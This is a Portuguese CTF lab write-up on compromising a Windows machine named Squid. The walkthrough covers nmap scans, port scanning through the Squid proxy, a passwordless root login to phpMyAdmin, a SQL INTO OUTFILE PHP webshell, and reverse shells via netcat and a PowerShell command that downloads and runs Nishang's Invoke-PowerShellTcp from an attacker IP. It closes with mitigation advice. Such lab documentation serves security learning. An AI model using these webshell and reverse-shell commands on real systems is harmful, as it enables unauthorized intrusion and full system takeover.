Enumeration
A primeira etapa do processo de exploração começou com a enumeração da máquina alvo utilizando o Nmap. Inicialmente, foi realizado um scan de portas completo para identificar todos os serviços em execução na máquina Squid.
nmap -T4 -p- -v squid -oN nmap-all-ports.log
Esse comando varreu todas as portas (0-65535) com a finalidade de descobrir quais estavam abertas, salvando os resultados no arquivo nmap-all-ports.log
para análise posterior.
Após identificar as portas em uso, foi executado um scan mais detalhado nas portas mais relevantes, focando na detecção de versões e nos scripts padrões do Nmap.
sudo nmap -T4 -sCV -p135,139,445,3128,49666,49667 squid -oN enu/nmap-services.log
Este segundo scan permitiu coletar mais informações sobre os serviços específicos rodando nas portas identificadas: 135, 139, 445, 3128, 49666, 49667. Os resultados detalhados foram armazenados em enu/nmap-services.log
, servindo como base para as próximas etapas de exploração.
Enumeração através do Proxy Squid
Após a enumeração inicial das portas e serviços, identifiquei que a porta 3128 estava associada ao serviço Squid, um proxy bastante utilizado. Para explorar mais a fundo os serviços acessíveis através desse proxy, utilizei a ferramenta Squid Pivoting Open Port Scanner (spose.py), que é particularmente eficaz em cenários de CTF e em testes de penetração, onde o objetivo é detectar portas abertas por trás de um proxy Squid.
python3 spose.py --proxy http://squid:3128 --target 192.168.185.189
Com esse comando, a spose.py foi configurada para usar o proxy Squid (acessível via porta 3128) para escanear as portas abertas no alvo 192.168.185.189. Essa técnica permitiu realizar a enumeração de portas através do proxy, oferecendo uma visão mais completa das portas e serviços que poderiam ser explorados posteriormente.
A spose.py é uma ferramenta desenvolvida para funcionar exclusivamente com Python 3, e sua função principal é detectar portas abertas em sistemas remotos quando o tráfego é roteado através de um proxy HTTP, como o Squid. Essa técnica é especialmente útil quando se busca realizar pivoting, utilizando o proxy como intermediário para mapear a rede interna ou alcançar alvos que normalmente estariam inacessíveis.
Para mais detalhes e acesso ao código-fonte da ferramenta, ela pode ser encontrada no GitHub:
Spose - Squid Pivoting Open Port Scanner
Além disso, consultei o HackTricks, um recurso valioso para testes de penetração, que forneceu insights adicionais sobre como o serviço Squid pode ser utilizado em cenários de pentest e CTF.
Depois de identificar as portas abertas por trás do proxy Squid, a próxima etapa foi acessar a porta 8080. Para isso, foi necessário configurar o Squid proxy no navegador.
Configurando o Squid Proxy no Navegador
- Abra as configurações de rede do seu navegador (geralmente encontrado nas configurações avançadas).
- Localize a seção de proxy e selecione a opção para configuração manual de proxy.
-
Insira o IP da máquina Squid seguido da porta 3128 na seção HTTP Proxy.
- IP da Máquina Squid:
192.168.185.189
- Porta:
3128
- IP da Máquina Squid:
- Salve as configurações e aplique o proxy.
Acessando a Porta 8080
Com o proxy configurado, você pode acessar a porta 8080 através do navegador digitando na barra de endereços:
http://192.168.185.189:8080
Isso permitirá que você visualize o serviço em execução na porta 8080 através do proxy Squid.
Próximos Passos
Depois de acessar a porta 8080, a análise deve continuar para identificar a natureza do serviço em execução nessa porta. Isso pode incluir a identificação de um painel de administração, uma aplicação web vulnerável ou qualquer outro tipo de serviço que possa ser explorado. Dependendo do que for encontrado, as próximas etapas podem envolver testes de penetração mais profundos, como exploração de vulnerabilidades, escalonamento de privilégios ou a captura de credenciais.
Continuando com a Enumeração
Após acessar a porta 8080 e explorar o serviço disponível, é crucial continuar a enumeração e procurar por elementos que possam ser explorados. Ao navegar pela página, observe cuidadosamente todos os detalhes, pois muitas vezes há pistas que podem levar a vulnerabilidades.
Se você prestar atenção, no final da página existem aliases que redirecionam para recursos como phpinfo
, phpmyadmin
, adminer
, entre outros. Esses aliases podem fornecer informações valiosas ou ser pontos de entrada para exploração adicional.
Explorando o phpinfo
O phpinfo é uma página que exibe a configuração do PHP e pode revelar informações críticas, como diretórios do servidor, caminhos de arquivos e outras configurações que podem ser exploradas. É comum encontrar detalhes sobre diretórios onde podemos tentar escrever um payload malicioso.
Tentativa de Login com Senhas Padrão
Sempre que você encontrar páginas de login, como phpmyadmin
ou adminer
, tente acessar utilizando senhas padrão. Muitos administradores esquecem de alterar as credenciais de login, deixando o sistema vulnerável a acessos não autorizados.
Aqui estão alguns exemplos de credenciais padrão que você pode tentar:
- admin:admin
- admin: (sem senha)
- admin:password
Se você não souber a senha padrão para um produto específico, uma simples pesquisa no Google com o nome do produto e “default password” geralmente fornece as credenciais padrão. Em muitos casos, o próprio site do fornecedor lista as senhas padrão para os produtos.
Acesso Ganhado: Login como root
sem Senha no phpMyAdmin
Durante a exploração das páginas disponíveis, ao tentar acessar o phpMyAdmin com o usuário root e sem senha, consegui obter acesso ao banco de dados.
Este tipo de vulnerabilidade é crítica, pois o phpMyAdmin é uma ferramenta de administração para bancos de dados MySQL, e o acesso como root sem senha concede controle total sobre todos os bancos de dados no servidor. Isso pode incluir a capacidade de visualizar, modificar ou excluir dados, além de executar comandos SQL diretamente no banco de dados.
Próximos Passos
Com o acesso root ao phpMyAdmin garantido, a próxima fase envolve:
-
Verificação dos bancos de dados: Navegue pelos bancos de dados disponíveis para identificar informações sensíveis, como tabelas que contenham credenciais de usuários, dados pessoais ou outras informações confidenciais.
-
Execução de comandos SQL: Utilize a interface do phpMyAdmin para executar comandos SQL que possam ajudar a explorar mais profundamente o sistema. Isso pode incluir a criação de novos usuários com privilégios elevados ou a injeção de comandos maliciosos para obter acesso ao sistema operacional subjacente.
-
Upload de backdoors: Se o phpMyAdmin permitir, utilize a funcionalidade de importação de arquivos para enviar um webshell ou outro tipo de payload malicioso que possa ser executado diretamente no servidor.
-
Escalabilidade: Avalie a possibilidade de usar o acesso ao banco de dados para escalar privilégios dentro do sistema, ou para comprometer outros sistemas na rede.
-
Análise de logs: Verifique se há logs ou registros de atividades no phpMyAdmin que possam ser úteis para mapear outras atividades suspeitas ou para encobrir rastros.
Exploitation
Shell Uploading no Servidor Web via phpMyAdmin
Com o acesso root ao phpMyAdmin garantido, podemos agora explorar o sistema mais profundamente utilizando técnicas de shell uploading. Usaremos o artigo Shell Uploading in Web Server through PhpMyAdmin como ponto de apoio para ajudar na nossa exploração.
Criando uma Shell no Servidor Web
-
Criação de uma nova database: Primeiramente, crie uma nova base de dados no phpMyAdmin para realizar a exploração. No exemplo, criamos uma database chamada
anakein
. -
Injeção de código PHP malicioso: Em seguida, execute o seguinte comando SQL na nova database para criar um arquivo de shell PHP no servidor web:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/wamp/www/shell.php';
Esse comando cria um arquivo chamado shell.php no diretório C:/wamp/www/ do servidor web. O arquivo contém um simples script PHP que executa comandos passados via URL.
Verificação da criação da shell: Para verificar se o arquivo shell.php foi criado corretamente, acesse a URL a seguir no navegador:
http://192.168.185.189:8080/shell.php?cmd=dir
Se a página listar os diretórios do Windows, significa que a shell foi criada com sucesso e está funcionando corretamente.
Próximos Passos: Obtendo uma Reverse Shell
Agora que temos uma shell funcional, o próximo objetivo é obter uma reverse shell para ganhar acesso remoto ao sistema com mais controle. Isso pode ser feito executando um comando através da shell que conecte o servidor de volta ao seu sistema, permitindo que você interaja com o sistema operacional diretamente.
Aqui está um exemplo de comando que pode ser utilizado para obter uma reverse shell:
http://192.168.185.189:8080/shell.php?cmd=nc -e cmd.exe [YOUR_IP] [PORT]
[YOUR_IP]: Substitua pelo seu endereço IP.
[PORT]: Substitua pela porta que você estará ouvindo.
Antes de executar o comando acima, certifique-se de ter uma sessão de netcat escutando na porta especificada:
nc -lvnp [PORT]
Se tudo correr bem, você deverá obter uma conexão reverse shell, permitindo explorar o sistema alvo com privilégios de linha de comando.
Obtendo a Reverse Shell com Nishang
Para obter uma reverse shell mais robusta, utilizei o Nishang, um framework de PowerShell, que oferece diversos scripts úteis para pentesters. Especificamente, utilizei o payload Invoke-PowerShellTcp.ps1 para estabelecer a conexão.
Execução do Payload
Utilizei o seguinte comando via shell PHP para executar o payload do Nishang e obter uma reverse shell:
Nishang - Offensive PowerShell for red team, penetration testing and offensive security.
http://192.168.185.189:8080/shell.php?cmd=powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20-Command%20IEX(New-Object%20Net.WebClient).DownloadString(%27http://192.168.45.171/Invoke-PowerShellTcp.ps1%27);%20Invoke-PowerShellTcp%20-Reverse%20-IPAddress%20192.168.45.171%20-Port%20443
- IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.45.171/Invoke-PowerShellTcp.ps1’): Esse trecho do comando baixa e executa o script
Invoke-PowerShellTcp.ps1
diretamente da minha máquina atacante. - Invoke-PowerShellTcp -Reverse -IPAddress 192.168.45.171 -Port 443: Essa parte do comando executa o script baixado, instruindo-o a iniciar uma conexão reverse shell de volta para minha máquina, especificando o endereço IP e a porta.
Preparação da Máquina Atacante
Antes de executar o payload, certifique-se de que sua máquina atacante esteja preparada para receber a conexão. Para isso, utilize o netcat ou outra ferramenta de escuta na porta especificada:
nc -lvnp 443
Resultado
Se o payload for executado corretamente, você obterá uma reverse shell com privilégios, permitindo que você interaja diretamente com o sistema operacional da máquina alvo através do terminal.
Acesso com Privilégios de Administrador
A reverse shell que obtivemos utilizando o Nishang já nos concedeu acesso com privilégios de administrador do sistema. Isso significa que não foi necessário realizar movimento lateral ou escalar privilégios adicionais para obter controle total sobre a máquina.
Capturando as Flags
Com o acesso total ao sistema, foi possível localizar e capturar as flags necessárias:
-
local.txt: Encontrada no diretório raiz
C:\
da máquina comprometida. -
proof.txt: Localizada no diretório
C:\Users\Administrador\Desktop
, confirmando a exploração bem-sucedida.
Conclusão e Resumo
Nesta exploração, aprendemos a importância de uma enumeração cuidadosa e de como vulnerabilidades simples, como senhas padrão ou falta de autenticação em ferramentas como o phpMyAdmin, podem ser exploradas para obter acesso completo ao sistema. O uso de técnicas de shell uploading e a execução de scripts como o Invoke-PowerShellTcp do Nishang mostraram-se eficazes para obter uma reverse shell, concedendo controle total sobre a máquina alvo.
Pontos Chave Aprendidos:
- Enumeração é Fundamental: Identificar portas e serviços abertos é a base para qualquer exploração.
- Exploração de Senhas Padrão: A tentativa de login com credenciais padrão pode abrir portas inesperadas.
- Uso de Shell Uploading: O uploading de uma shell PHP permitiu a execução remota de comandos.
- PowerShell para Reverse Shells: A utilização de scripts PowerShell, como os fornecidos pelo Nishang, pode facilitar o acesso remoto.
- Importância de Acessos com Privilégios: A reverse shell adquirida com privilégios de administrador eliminou a necessidade de escalar privilégios.
Mitigação: Como Proteger-se contra essas Explorações
Para evitar que explorações como as descritas acima sejam bem-sucedidas, seguem algumas medidas de mitigação que podem ser implementadas:
-
Alterar Senhas Padrão: Certifique-se de que todas as contas, especialmente as administrativas, não utilizem senhas padrão ou fáceis de adivinhar. Utilize senhas fortes e complexas.
-
Desativar Contas não Utilizadas: Desative ou remova contas de administração que não sejam necessárias, como a conta root no phpMyAdmin.
-
Restringir Acesso ao phpMyAdmin: Limite o acesso ao phpMyAdmin a partir de IPs confiáveis ou redes específicas. Considere desativá-lo completamente em ambientes de produção se não for estritamente necessário.
-
Aplicar Políticas de Segurança para Scripts PHP: Configure o servidor para restringir o uso de funções perigosas no PHP, como
system()
eexec()
. Desabilite a opção de criar ou modificar arquivos através de scripts PHP, especialmente em diretórios acessíveis pela web. -
Habilitar Logging e Monitoramento: Habilite logs detalhados para todas as atividades administrativas e revise-os regularmente para detectar comportamentos suspeitos. Ferramentas de monitoramento podem ajudar a identificar tentativas de ataque.
-
Implementar Controles de Acesso Granulares: Utilize mecanismos de controle de acesso para limitar os privilégios de usuários e serviços ao mínimo necessário para realizar suas funções.
-
Atualizar e Aplicar Patches ao Sistema Regularmente: Mantenha o servidor e todos os softwares, como o phpMyAdmin, atualizados com as correções de segurança mais recentes para mitigar vulnerabilidades conhecidas.
Implementando essas medidas, você pode reduzir significativamente o risco de compromissos semelhantes no seu ambiente.